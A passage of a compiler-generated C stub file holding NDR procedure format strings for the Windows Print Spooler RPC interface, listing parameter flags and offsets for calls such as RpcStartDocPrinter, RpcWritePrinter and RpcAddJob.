*/\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Parameter pPrintProcessorName */\n\n/* 1002 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1004 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1006 */\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Return value */\n\n/* 1008 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1010 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1012 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcEnumPrintProcessors */\n\n/* 1014 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1016 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1020 */\tNdrFcShort( 0xf ),\t/* 15 */\n/* 1022 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 1024 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 1026 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1028 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1030 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 1032 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 1034 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x8,\t\t/* 8 */\n/* 1036 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 1038 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1040 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1042 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1044 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pName */\n\n/* 1046 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1048 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1050 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pEnvironment */\n\n/* 1052 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1054 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1056 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Level */\n\n/* 1058 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1060 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1062 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pPrintProcessorInfo */\n\n/* 1064 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 1066 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1068 */\tNdrFcShort( 0x6 ),\t/* Type Offset=6 */\n\n\t/* Parameter cbBuf */\n\n/* 1070 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1072 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1074 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 1076 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1078 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1080 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcReturned */\n\n/* 1082 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1084 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 1086 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 1088 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1090 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 1092 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcGetPrintProcessorDirectory */\n\n/* 1094 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1096 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1100 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 1102 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 1104 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 1106 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1108 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1110 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 1112 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 1114 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 1116 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 1118 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1120 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1122 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1124 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pName */\n\n/* 1126 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1128 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1130 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pEnvironment */\n\n/* 1132 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1134 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1136 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Level */\n\n/* 1138 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1140 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1142 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pPrintProcessorDirectory */\n\n/* 1144 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 1146 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1148 */\tNdrFcShort( 0x6 ),\t/* Type Offset=6 */\n\n\t/* Parameter cbBuf */\n\n/* 1150 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1152 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1154 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 1156 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1158 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1160 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 1162 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1164 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 1166 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcStartDocPrinter */\n\n/* 1168 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1170 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1174 */\tNdrFcShort( 0x11 ),\t/* 17 */\n/* 1176 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1178 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1180 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1182 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1184 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 1186 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 1188 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 1190 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 1192 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1194 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1196 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1198 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 1200 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1202 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1204 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter pDocInfoContainer */\n\n/* 1206 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1208 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1210 */\tNdrFcShort( 0x5de ),\t/* Type Offset=1502 */\n\n\t/* Parameter pJobId */\n\n/* 1212 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1214 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1216 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 1218 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1220 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1222 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcStartPagePrinter */\n\n/* 1224 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1226 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1230 */\tNdrFcShort( 0x12 ),\t/* 18 */\n/* 1232 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1234 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1236 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1238 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1240 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 1242 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1244 */\t0x44,\t\t/* Oi2 Flags:  has return, has ext, */\n\t\t\t0x2,\t\t/* 2 */\n/* 1246 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 1248 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1250 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1252 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1254 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 1256 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1258 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1260 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Return value */\n\n/* 1262 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1264 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1266 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcWritePrinter */\n\n/* 1268 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1270 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1274 */\tNdrFcShort( 0x13 ),\t/* 19 */\n/* 1276 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1278 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1280 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1282 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1284 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 1286 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 1288 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x5,\t\t/* 5 */\n/* 1290 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 1292 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1294 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1296 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1298 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 1300 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1302 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1304 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter pBuf */\n\n/* 1306 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1308 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1310 */\tNdrFcShort( 0x5f2 ),\t/* Type Offset=1522 */\n\n\t/* Parameter cbBuf */\n\n/* 1312 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1314 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1316 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcWritten */\n\n/* 1318 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1320 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1322 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 1324 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1326 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1328 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcEndPagePrinter */\n\n/* 1330 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1332 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1336 */\tNdrFcShort( 0x14 ),\t/* 20 */\n/* 1338 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1340 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1342 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1344 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1346 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 1348 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1350 */\t0x44,\t\t/* Oi2 Flags:  has return, has ext, */\n\t\t\t0x2,\t\t/* 2 */\n/* 1352 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 1354 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1356 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1358 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1360 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 1362 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1364 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1366 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Return value */\n\n/* 1368 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1370 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1372 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAbortPrinter */\n\n/* 1374 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1376 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1380 */\tNdrFcShort( 0x15 ),\t/* 21 */\n/* 1382 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1384 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1386 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1388 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1390 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 1392 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1394 */\t0x44,\t\t/* Oi2 Flags:  has return, has ext, */\n\t\t\t0x2,\t\t/* 2 */\n/* 1396 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 1398 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1400 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1402 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1404 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 1406 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1408 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1410 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Return value */\n\n/* 1412 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1414 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1416 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcReadPrinter */\n\n/* 1418 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1420 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1424 */\tNdrFcShort( 0x16 ),\t/* 22 */\n/* 1426 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1428 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1430 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1432 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1434 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 1436 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 1438 */\t0x45,\t\t/* Oi2 Flags:  srv must size, has return, has ext, */\n\t\t\t0x5,\t\t/* 5 */\n/* 1440 */\t0xa,\t\t/* 10 */\n\t\t\t0x43,\t\t/* Ext Flags:  new corr desc, clt corr check, has range on conformance */\n/* 1442 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1444 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1446 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1448 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 1450 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1452 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1454 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter pBuf */\n\n/* 1456 */\tNdrFcShort( 0x113 ),\t/* Flags:  must size, must free, out, simple ref, */\n/* 1458 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1460 */\tNdrFcShort( 0x5f2 ),\t/* Type Offset=1522 */\n\n\t/* Parameter cbBuf */\n\n/* 1462 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1464 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1466 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcNoBytesRead */\n\n/* 1468 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1470 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1472 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 1474 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1476 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1478 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcEndDocPrinter */\n\n/* 1480 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1482 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1486 */\tNdrFcShort( 0x17 ),\t/* 23 */\n/* 1488 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1490 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1492 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1494 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1496 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 1498 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1500 */\t0x44,\t\t/* Oi2 Flags:  has return, has ext, */\n\t\t\t0x2,\t\t/* 2 */\n/* 1502 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 1504 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1506 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1508 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1510 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 1512 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1514 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1516 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Return value */\n\n/* 1518 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1520 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1522 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAddJob */\n\n/* 1524 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1526 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1530 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 1532 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 1534 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1536 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1538 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1540 */\tNdrFcShort( 0x34 ),\t/* 52 */\n/* 1542 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 1544 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 1546 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 1548 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1550 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1552 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1554 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 1556 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1558 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1560 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter Level */\n\n/* 1562 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1564 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1566 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pAddJob */\n\n/* 1568 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 1570 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1572 */\tNdrFcShort( 0x332 ),\t/* Type Offset=818 */\n\n\t/* Parameter cbBuf */\n\n/* 1574 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1576 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1578 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 1580 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1582 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1584 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 1586 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1588 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1590 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcScheduleJob */\n\n/* 1592 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1594 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1598 */\tNdrFcShort( 0x19 ),\t/* 25 */\n/* 1600 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1602 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1604 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1606 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1608 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 1610 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1612 */\t0x44,\t\t/* Oi2 Flags:  has return, has ext, */\n\t\t\t0x3,\t\t/* 3 */\n/* 1614 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 1616 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1618 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1620 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1622 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 1624 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1626 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1628 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter JobId */\n\n/* 1630 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1632 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1634 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 1636 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1638 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1640 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcGetPrinterData */\n\n/* 1642 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old 